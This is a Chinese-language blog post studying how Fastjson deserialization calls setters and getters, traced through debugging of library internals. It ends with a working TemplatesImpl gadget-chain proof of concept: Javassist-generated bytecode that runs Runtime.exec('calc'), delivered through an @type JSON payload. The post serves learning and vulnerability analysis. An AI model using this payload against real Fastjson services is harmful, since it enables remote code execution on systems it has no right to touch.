前言
休息了好像有一周了(慢慢的罪恶感),昨天在打比赛的时候做了一个php-cms的审计,然后激起了学习的热情。
之前打比赛的时候遇到过fastjson的题,当时也就是直接用poc利用了,也学习过fastjson的触发原理,这里简单的复习一下,文章如下:
https://www.cnblogs.com/seizer/p/17035786.html
Fastjson反序列化原理
基本原理:jdk反序列化会触发readObject
方法,在Fastjson反序列化中则会触发setter
方法(序列化过程中会触发getter
方法)。
通过举例能更好理解User.java
:
package com.ggbond.fastjson;
public class User {
public String t1;
public String _t2;
private String _t3;
private String t4;
private String t5;
private void setT1(String t1) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t1 = t1;
}
public void setT2(String _t2) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t2 = _t2;
}
public void setT3(String _t3) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t3 = _t3;
}
private void setT4(String t4) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t4 = t4;
}
public void setT5(String t5) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t5 = t5;
}
}
其中对部分setter
方法进行了修改,如将sett1、setT4
方法修改为私有private
方法,修改set_t2、set_t3
为setT2、setT3
,这样有助于帮助我们更好的理解TemplatesImpl利用链
然后将字段{"@type":"com.ggbond.fastjson.User","t1":"1","_t2":"2","t3":{},"t4":{}}
进行反序列化,代码如下:
package com.ggbond.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class FastDeser {
public static void main(String[] args) {
// {"@type":"com.ggbond.fastjson.User","t1":"1","_t2":"2","_t3":"3","t4":"4","t5":"5"}
String Poc = "{\"@type\":\"com.ggbond.fastjson.User\",\"t1\":\"1\",\"_t2\":\"2\",\"_t3\":\"3\",\"t4\":\"4\",\"t5\":\"5\"}";
Object parse1 = JSON.parse(Poc);
Object parse2 = JSON.parse(Poc, Feature.SupportNonPublicField);
System.out.println("");
}
}
Feature.SupportNonPublicField作用
通过执行上述代码,对比parse1
和parse2
可以知道Feature.SupportNonPublicField
字段的意义
两者区别在于t4
是否被赋值:
- 对照组t1和t4,两者setter方法均为private私有方法,t1为public变量,t4为private变量,说明
Feature.SupportNonPublicField
字段(汉译:支持未公开属性)与变量访问修饰符有关 - 对照组t4和t5,两者均为private变量,setter方法存在差异,说明
Feature.SupportNonPublicField
字段(汉译:支持未公开属性)与方法访问修饰符有关
结果:当一个属性为private私有变量时,如果不存在public的setter方法为其进行赋值时,是不能通过Fastjson进行赋值的,当传入Feature.SupportNonPublicField
字段后,则会对其赋值。
然后再看一下输出方面:
两者都是执行了setT3、setT5
方法,不存在差异,总结一下其他setter方法未被执行的原因
setT1、setT4
为私有private方法setT2
未知
这里按照之前的理解setT2、setT3
方法应该都会被执行的,这里需要说一下,在使用IDEA生成setter方法时,发现应该是这样的
public void set_t3(String _t3) {
this._t3 = _t3;
}
但是我们这里使用setT3
的形式,这样却还会执行,在Fastjson进行反序列化解析的时候,在JavaBeanDeserializer#parseField
中调用smartMatch()
方法进行模糊匹配,并将_
替换为空
之后通过t3
去找对应的setter、getter
方法
但是这里却只执行了setT3
方法,进行对照两者区别:_t2
和_t3
前者为public属性,后者为private属性。
探究setter方法执行原理
这里困惑了好久,然后写了个测试类进行Debug终于找到原因了
package com.ggbond.Test;
public class User {
public String t1;
private String t2;
public void setT1(String t1) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t1 = t1;
}
public void setT2(String t2) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t2 = t2;
}
}
反序列化上述类,一切正常,两个setter
方法全部都执行了
然后再将测试类修改为如下:
package com.ggbond.Test;
public class User {
public String _t1;
private String _t2;
public void setT1(String _t1) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t1 = _t1;
}
public void setT2(String _t2) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t2 = _t2;
}
}
如果按照之前那个结果,应该只执行setT2
而不会执行setT1
,结果确实如此:
然后我们通过Debug进行看一下,关键代码为反序列化器生成阶段JavaBeanInfo#build
这里328行首先对methods进行遍历(这里通过getMethods()
获取,故不包含private私有方法)
然后再375-384行这里对setter方法进行一个检测,之后propertyName获取为set后的字符串(这里即t2),这里386行也可以看到如果第4位为_
,则是获取_
之后的部分
之后再396这里从declaredFields
中获取与propertyName
相同的成员变量,他们直接都相差一个_
,所以遍历结束field
还为空
之后再429行,将该FieldInfo
添加到fieldList
,结果如下:
之后再433行遍历成员变量,使用getFields
方法,所以就不包括_t2
遍历结束后fieldList
如下,_t1
存在field
,但没有method
:
再之后490行又遍历了一遍方法,但是这次遍历时为了找对应的getter
方法的,这里暂且不看
到这里所有的反序列化器就算生成结束了,接下来进行解析,从JavaBeanDeserializer#deserialze
进入,核心代码349行,这里sortedFieldDeserializers
变量其中就是刚才的反序列化器
这里就是进行了类型的判断,并在Poc中找对应的值fieldValue
这里本以为
_t1
是可以在Poc中找到对应的值fieldValue
的,但是这里还是返回了null,debug过程中,在一进入JavaBeanDeserializer#deserialze
时_t1
已经被赋予了值,个人浅显理解应该是对于public属性直接从Poc中提取值然后赋值,因为反序列化就是要还原对象,既然已经赋值了所以不需要再进行不必要的代码执行,所以就导致该变量没有进行变相setter
方法的执行,而_t2
还需要进行一系列检测
如下386行处
这里没有找到,所以matchField
还是false
,接着来到577行,这里进入下边的else语块
进到600行的parseField
方法,进到724行的smartMatch
方法
783行处,根据key值获取反序列化器,这里没有所以返回null,然后再下边遍历所有反序列化找fieldInfo.name
为key值的反序列化器,也无果
然后再807行,因为之前都没有找到,所以这里进入if语句,将key值的_
替换掉变成t2
,然后在下边823行处同构t2
找到对应的反序列化器并返回
然后回到parseField
方法773行,进入DefaultFieldDeserializer#parseField
83行处进入setValue
,然后里边的96行反射执行setter
方法
探究getter方法执行原理
再来看一个例子(加深Fastjson反序列化过程的理解),测试类如下:
package com.ggbond.Test;
import java.util.Map;
public class User {
public Map t1;
private Map t2;
public Map getT1() {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
return t1;
}
public Map getT2() {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
return t2;
}
}
我们之前学习的时候是这样的:当不存在setter方法时,会调用满足条件的getter方法,需要满足的主要条件如下:
- 非静态方法
- 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
- 方法为 public 属性
但是这里我们发现只执行了getT2
方法,通过Debug找了好久,在JavaBeanInfo#build
方法433行这里我们发现,通过反射getFields()
获取成员属性,这里自然是获取不到t2
这里进行一系列处理后将信息装入fieldList
之后通过反射clazz.getMethods()
对方法进行了遍历
通过getField
从fieldList
获取t1
的fieldInfo
,如果存在则不再添加到fieldList
中,这样就导致fieldList
中并没有写入t1
的getter
方法
来看一下t2
,由于fieldList
并没有关于t2
的fieldInfo
,所以将目前方法method
添加到fieldList
在后续的解析过程中,在FieldDeserializer#setValue
中66行,对于t1
来说,因为没有method
这里进入99行的else句块
else句块这里获取fieldInfo.field
属性,然后在130行通过反射set直接赋值,不进行调用方法
而t2这里可以直接获取到fieldInfo.method
属性,进入if句块
这里通过判断该方法返回值为Map类,然后通过反射invoke
执行getter
方法
TemplatesImpl利用链利用
通过简单的对Fastjson反序列化学习和上述的较深入理解,现在我们来分析一下TemplatesImpl利用链,Poc如下:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["Eval.base64"],
"_name": "seizer",
"_tfactory": {},
"_outputProperties": {}
}
之前学习过TemplatesImpl利用链,Poc如下:
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class LoadTestTemp {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet
CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
byte[] bytes = testCtClass.toBytecode(); // 获取字节数据
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_name", "seizer");
// templates.newTransformer();
templates.getOutputProperties();
}
}
通过对TemplatesImpl 对象的_bytecodes,_tfactory,_name
进行赋值来进行加载恶意字节码文件,然后通过执行TemplatesImpl#getOutputProperties
进行触发
这里的TemplatesImpl#getOutputProperties
其实也是一个getter方法,可以通过Fastjson反序列化进行触发,然后通过Feature.SupportNonPublicField
字段进行对private属性进行赋值
通过上述学习,我们很容易可以写出Poc:
package com.ggbond.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class FastTempDeser {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = FastTempDeser.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }}";
JSON.parse(PoC, Feature.SupportNonPublicField);
}
}
执行结果:
这里对_bytecodes我们使用了中括号和base64编码:
在解析时DefaultFieldDeserializer#parseField
进入后136行这里会进行base64解码:
总结
经过浅显学习Fastjson的反序列化原理,可以明白反序列化过程中最重要的两个步骤就是DefaultJSONParser#parseObject
中367-368行的内容,前者获取反序列化器,后者进行实例化对象并解析
同样在该方法中,还有一个重要的点在于322行处,通过@type
键值可以进行获取到类对象
所以在Fastjson1.2.24之后的版本中,对此处进行了修改
https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5
看一下Fastjson1.2.26
checkAutoType
方法加入了白名单和黑名单的方式防止漏洞利用,据说之后的Fastjson漏洞修复都是在此基础上进行添加黑白名单进行修复的,之后在学习的时候再看吧...